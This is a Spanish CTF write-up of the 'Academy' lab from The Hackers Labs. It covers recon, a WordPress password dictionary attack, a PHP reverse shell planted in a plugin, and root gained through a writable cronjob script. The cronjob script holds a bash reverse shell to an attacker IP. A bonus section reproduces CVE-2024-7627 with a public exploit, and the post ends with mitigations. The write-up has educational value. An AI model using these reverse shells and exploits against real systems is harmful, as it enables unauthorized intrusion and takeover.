Post cover image

October 30, 2026

The Hackers Labs Writeup — Academy (Spanish)

A continuación, describo la guía de resolución del laboratorio de The Hackers Labs denominado “Academy”.

By David Prieto Montero (a.k.a Pyth0nK1d)

9 min read

Este laboratorio está catalogado con la dificultad "Principiante" y su autor es "El Pingüino de Mario".

ATENCIÓN

Las herramientas y técnicas utilizadas en la resolución de este laboratorio han sido ejecutadas en un entorno controlado. El autor de esta publicación no se hace responsable del mal uso que se haga de estas, ya que el objetivo final de esta publicación es transmitir conocimientos con fines éticos y educativos.

Resumen de contenido sobre este laboratorio

Tags: Contraseña débil,Common Vulnerabilities and Exposures (CVE),Divulgación de información, Tareas programadas (cronjob), WordPress

Antes de comenzar, se indica un resumen de contenido que se puede encontrar en esta guía:

  • Una contraseña débil permiten obtener acceso administrativo al CMS WordPress expuesto. A su vez, estos privilegios administrativos permiten realizar el acceso inicial al sistema como el usuario www-data.
  • Una tarea programada (o cronjob) descubierto junto a permisos débiles asociados a este permite escalar privilegios al usuario root directamente.
  • Aprovechando acceso administrativo al CMS, se configura el plugin detectado para reproducir la explotabilidad de la vulnerabilidad detectada, demostrando así el impacto que genera.

Máquina objetivo

None

Reconocimiento inicial

Se inicia el reconocimiento mediante un ping a la máquina. Esto se hace por un lado para detectar que la máquina se encuentra accesible y por otro lado para poder detectar el sistema operativo mediante el TTL asignado.

ping -c 1 10.1.10.10
None

Se puede comprobar que el TTL asignado es 64, indicando que la máquina está accesible directamente sin ningún nodo intermediario y por otro lado que el sistema subyacente es GNU/Linux.

Una vez hecho esto, se realiza un reconocimiento de los servicios disponibles en dos fases. En la primera, se realiza un escaneo de todos los puertos TCP usando nmap para detectar en primera instancia cuales de ellos son accesibles (open), utilizando un escaneo TCP SYN.

sudo nmap -sS -p- --min-rate 1000 -n -Pn 10.1.10.10 -oN allPorts
None

En la segunda, se realiza un reconocimiento básico de los servicios subyacentes también mediante el uso de nmap. Esta vez, realizando dicha tarea de reconocimiento únicamente en los puertos detectados como abiertos.

nmap -sCV -p 22,80 -n -Pn 10.1.10.10 -oN services
None

En este caso, se omite el escaneo de puertos UDP, ya que para esta máquina en particular no tiene ningún servicio relevante para llevar a cabo el ejercicio.

Acceso inicial (www-data)

En este caso se detecta que hay dos puertos abiertos:

  • Puerto 22 (servicio SSH, OpenSSH)
  • Puerto 80 (servicio HTTP, Apache httpd)

Además, gracias a la detección del servicio, se detecta que el sistema subyacente es Debian.

Al revisar el puerto 80, se muestra la página por defecto de Apache.

URL -> http://10.1.10.10
None

Tras escanear en busca de recursos accesibles, se detecta un directorio "wordpress".

gobuster dir -u http://10.1.10.10 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php,html,txt,zip -t 64
None

Al acceder a este, se puede comprobar la existencia de una página desarrollada con el CMS WordPress.

URL -> http://10.1.10.10/wordpress
None

Revisando el código fuente se confirma esto por recursos existentes asociados a este CMS, además de obtener un dominio correspondiente a este laboratorio.

URL -> view-source:http://10.1.10.10/wordpress
None

Para hacer que resuelva este dominio, es necesario añadir dicho dominio junto a la IP correspondiente en el archivo /etc/hosts de la máquina local, ya que parece estar aplicando virtual hosting basado en nombre para servirlo.

sudo mousepad /etc/hosts

10.1.10.10 academy.thl (añadir esta linea y guardar los cambios)

Al acceder a la página utilizando el dominio, se muestra la misma página pero con sus estilos definidos.

URL -> http://academy.thl/wordpress/
None

En este punto se utiliza WPScan para escanear esta aplicación en busca de recursos accesibles y/o vulnerables. Esta ejecución se demorará un poco, por lo que hay que tener paciencia.

wpscan --url http://academy.thl/wordpress/ --detection-mode aggressive -e ap,at,u -t 32

Tras esperar a que termine la ejecución de la herramienta, se detecta un nombre de usuario válido para este CMS.

None

Tras realizar un ataque de diccionario sobre este usuario, se obtiene la contraseña válida rápidamente.

wpscan --url http://academy.thl/wordpress/ -U dylan -P /usr/share/wordlists/rockyou.txt --password-attack xmlrpc -t 64
None

Es posible utilizar estas credenciales para acceder al panel de administración del CMS.

URL -> http://academy.thl/wordpress/wp-admin

Usuario: dylan
Contraseña: <RECORTADO>
None

Al disponer de acceso administrativo al CMS, es posible acceder al sistema. Para ello, se establece un puerto a la escucha.

nc -nvlp 1337
None

Se accede al archivo PHP que define la configuración del plugin denominado "Hello Dolly" y se incluye una consola inversa escrita en PHP.

"Herramientas" > "Editor de archivos de plugins" > "Hello Dolly" > Select > "hello.php"
(pegar una consola inversa PHP (PentestMonkey) y pulsar "Actualizar archivo")
None

En este punto es posible activar este plugin para que se ejecute la consola inversa.

"Plugins" > "Plugins instalados" > "Hello Dolly" > Pulsar en "Activar"
None

Esto termina en obtener acceso inicial como el usuario "www-data" a través del puerto a la escucha previamente establecido.

whoami
id
hostname
None

Para terminar con el acceso inicial, se actualiza la consola a una TTY.

script /dev/null -c bash
CTRL+Z
stty raw -echo;fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash

(en una nueva consola local)
stty size
PRIMER NUMERO -> FILAS
SEGUNDO NUMERO -> COLUMNAS

(en la consola del objetivo)
stty rows <PRIMER NUMERO> cols <SEGUNDO NUMERO>

Escalada de privilegios (www-data -> root)

Tras enumerar desde este usuario sin encontrar nada relevante, se decide utilizar la herramienta "pspy" para monitorizar los procesos en ejecución del sistema.

Referencia (pspy): https://github.com/DominicBreuker/pspy

Para ello, se descarga el binario compatible y se establece un servidor HTTP para compartir la herramienta con el sistema objetivo.

(descargar la herramienta al directorio de trabajo)
python3 -m http.server 80

(desde el sistema objetivo)
cd /tmp
wget http://10.1.10.4/pspy64
ls -al pspy64
chmod +x pspy64
None

Una vez ejecutada y tras esperar un poco, se detecta la ejecución de un script de backup ubicado concretamente en "/opt/backup.sh" que se ejecuta regularmente como el usuario "root", posiblemente a modo de tarea programada o cronjob.

./pspy64
(esperar un poco)
...

CMD: UID=0     PID=1      | init [2]
CMD: UID=0     PID=3499   | /usr/sbin/CRON
CMD: UID=0     PID=3500   | /usr/sbin/CRON
CMD: UID=0     PID=3501   | /bin/sh -c /opt/backup.sh
None

En este punto se cierra la herramienta y se comprueba el script ejecutado por el usuario "root". Al parecer este no existe y en su lugar existe un script de Python. Sin embargo, el directorio "/opt" tiene permisos de escritura para el usuario actual además de ser su propietario, permitiendo gestionar el contenido de este, incluyendo la creación de este ****script.

CTRL+C -> cerrar pspy

cd /opt
ls -al
cat backup.py
None

Esta configuración permite escalar privilegios al contexto del usuario "root". Primero se establece un puerto a la escucha.

rlwrap nc -nvlp 1337
None

A continuación, se crea el script que ejecutará el cronjob.

echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/10.1.10.4/1337 0>&1' >> /opt/backup.sh
chmod +x /opt/backup.sh
ls -al /opt/backup.sh
None

Tras esperar, se obtiene acceso como el usuario "root" a través del puerto a la escucha establecido.

whoami
id
hostname
None

Por último, se obtienen las flags asociadas a este laboratorio.

ls -al /home/debian
cat /home/debian/user.txt
ls -al
cat root.txt
None

En este punto, al haber obtenido acceso a la cuenta "root", se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).

BONUS: Explotación de plugin vulnerable "file-manager" de WordPress

En la salida de WPscan obtenida previamente se detecta un plugin desactualizado.

None

Revisando el "readme" se detecta el producto y su versión actual, confirmando esta salida obtenida.

URL -> http://academy.thl/wordpress/wp-content/plugins/file-manager/readme.txt
None

Tras investigar, resulta que presenta la vulnerabilidad CVE-2024–7627 que afecta a este plugin de WordPress en las versiones 6.0 a 6.5.5.

Esta vulnerabilidad permite la ejecución remota de código (Remote Code Execution, RCE) debido a un fallo en la función checkSyntax, que crea un archivo temporal en un directorio de acceso público antes de validar su contenido. Esto permite que atacantes no autenticados puedan ejecutar código en el servidor si el administrador ha habilitado los permisos de lectura para usuarios invitados (Guest).

Además, se detecta un exploit público para explotar esta vulnerabilidad.

CVE: https://nvd.nist.gov/vuln/detail/cve-2024-7627
Exploit: https://github.com/lkmn1/CVE-2024-7627

Sin embargo, aunque la configuración actual no permite explotar esta vulnerabilidad, al disponer de acceso al panel administrativo del CMS, es posible configurar esto para reproducirla y demostrar así su impacto.

Primero se establece un entorno virtual de Python y se instalan las dependencias de este exploit.

virtualenv venv --python=/usr/bin/python3
source venv/bin/activate
pip install requests aiohttp beautifulsoup4
None

A continuación, se adapta la configuración del plugin para hacer que un usuario no autenticado (Guest) pueda tener acceso a la funcionalidad que ofrece este plugin para que el exploit funcione.

Se adapta la configuración del plugin para que un usuario invitado pueda utilizarlo.

URL -> http://academy.thl/wordpress/wp-admin/admin.php?page=file-manager
Apartado: Permissions

Path: /var/www/html/wordpress/wp-content/uploads/file-manager <el mismo que el del administrador>
can download? Activado
None

A continuación se modifica una página o post, ya sea nueva o existente para que incluya el shortcode "[file-manager]" configurado.

URL -> http://academy.thl/wordpress/wp-admin/admin.php?page=file-manager
(al principio, sección "File Manager Shortcode")
None

Se copia este shortcode y, en este caso, se edita el único post público existente para incluirlo al final del todo.

URL -> http://academy.thl/wordpress/wp-admin/post.php?post=2&action=edit

(incluir shortcode [file-manger] y guardar los cambios)
None

Para terminar, se cierra sesión y se comprueba que la funcionalidad del plugin es accesible como usuario invitado (Guest) desde la página públicamente accesible modificada.

(cerrar sesión del usuario "dylan")
Post con file manager: http://academy.thl/wordpress/index.php/pagina-ejemplo/
None

Una vez realizada este configuración se descarga el exploit y se adapta a este caso en particular.

(descargar el archivo "exploit.py" y modificar las siguientes lineas)
...

targetBaseUrl = "http://academy.thl/wordpress"
fileManagerPostPath = "/index.php/pagina-ejemplo/"
None

Tras ejecutarlo, se puede comprobar que este consigue obtener una pseudoshell con la que es posible ejecutar comandos del sistema en el contexto del usuario "www-data".

python3 exploit.py
...
lab-shell> whoami
lab-shell> id
lab-shell> hostname
None

Mitigaciones a aplicar

  • Almacenar o compartir la información sensible como contraseñas, hashes, notas, nombres de usuario o secretos similares de una forma segura (por ejemplo, usando gestores de contraseñas).
  • Evitar que los usuarios del sistema u otros servicios tengan como contraseña una que se pueda encontrar en listas públicas o conocidas como rockyou. Recomendación: crear una política de contraseñas robusta para evitar que esto ocurra.
  • Asegurarse de que los servicios expuestos (incluidas sus dependencias) estén parcheados a la última versión para evitar que una vulnerabilidad conocida pueda ser explotada.
  • Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como "CIS Benchmarks" para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software y sistemas expuestos en Internet.

¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com